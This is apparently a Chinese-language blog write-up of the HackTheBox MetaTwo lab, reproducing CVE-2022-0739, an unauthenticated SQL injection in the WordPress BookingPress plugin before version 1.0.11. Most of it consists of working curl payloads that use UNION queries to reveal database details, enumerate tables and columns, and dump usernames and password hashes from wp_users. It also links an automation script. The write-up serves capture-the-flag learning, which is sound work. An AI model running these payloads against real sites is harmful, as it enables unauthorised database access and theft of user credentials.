bookingpress在1.0.11前存在SQL注入漏洞。
本人在做hackthebox靶场时遇见了这一个漏洞,觉得有意思就记录,方便以后自己学习利用。
在此声明,本文仅学习使用,不可攻击或利用,否则后果自负哦。
想去做的走链接:https://app.hackthebox.com/machines/MetaTwo
漏洞原理
在通过bookingpress_front_get_category_services AJAX操作(可用于未经身份验证的用户)将用户提供的POST数据用于动态构造的SQL查询之前,该插件无法正确清理这些数据,从而导致未经身份验证的SQL注入。
影响版本
CVE-2022-0739概念验证漏洞(1.0.11之前的SQLI BookingPress)
CVE-2022-0739复现实验
bookingpress适用于任何基于服务的行业的一体化 WordPress 预约插件。
在靶场网页源代码中发现了Bookingpress插件的版本号:
图中可以看到左边很明显的bookingpress以及右边的1.0.10版本。
然后上网发现了cydave 研究员发现的SQL injection。在这文章里他说道:
需要创建一个新的“种类或类别”,然后通过bookingpress的管理菜单(/wp-admin/admin.php?page=bookingpress_services)将新的“类别”与“服务”相关联
然后创建一个带有嵌入式[bookingpress_from]代码的新页面(分步向导表单),以未经身份验证的用户身份访问刚刚创建的页面并提取网页源代码中“action:'bookingpress_front_get_category_services'”的“_wpnonce”的值。
最后使用curl命令去请求
研究文章原链接:BookingPress < 1.0.11 - Unauthenticated SQL Injection WordPress Security Vulnerability (wpscan.com)
简单点来说就是你得有bookingpress的管理菜单/wp-admin/admin.php?page=bookingpress_services。
以及在bookingpress的分步向导表单中action的_wpnonce值(找到版本号源代码里搜索action:就有了)
到此就具备了他所说的条件了。
复制大佬的playloadc开搞。
curl -i 'https://example.com/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
记得替换红色方框的url地址和_wpnonce值:
而绿色方框的就是我们playload泄露的数据库版本,系统信息等啦。
看到 UNION ALL SELECT难道不眼熟吗,联合注入啊。
首先看看字段数,发现在第十个的时候没有了回显,就说明只有九个字段。
查看回显位置
联合查询敏感数据
user()#当前用户
version()#数据库版本
database()#当前数据库
@@datadir #数据库路径
@@version_compile_os #操作系统版本
当前数据库为:blog
查询表名
curl -i 'http://you_url/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=you_nonce&category_id=33&total_service=-7502) UNION ALL SELECT (select user()),(select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6,7,8-- -'
curl -i 'http://you_url/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=you_nonce&category_id=33&total_service=-7502) UNION ALL SELECT user(),(select group_concat(column_name) from information_schema.columns where table_name='wp_users'),2,3,4,5,6,7,8-- -'
重点查看可疑表wp_users
查询字段名
发现失败了,尝试转换成十六进制试一试。
curl -i 'http://you_url/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=you_nonce&category_id=33&total_service=-7502) UNION ALL SELECT user(),(select group_concat(column_name) from information_schema.columns where table_name='0x77705f7573657273'),2,3,4,5,6,7,8-- -'
爆数据
curl -i 'http://you_url/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=you_nonce&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login,0x20,user_pass),1,1,1,2,3,4,5,6 FROM wp_users-- -'
到此就完美收工。在此奉上工具一份,当自己手注完后才发现有工具的那种痛,难受。
GitHub - Chris01s/CVE-2022-0739: Simple bash script to automate the exploit of cve 2022 0739
使用方法安装它的文档使用就可以了。
学海永无止境,sql真的要会!
修复建议
升级就对了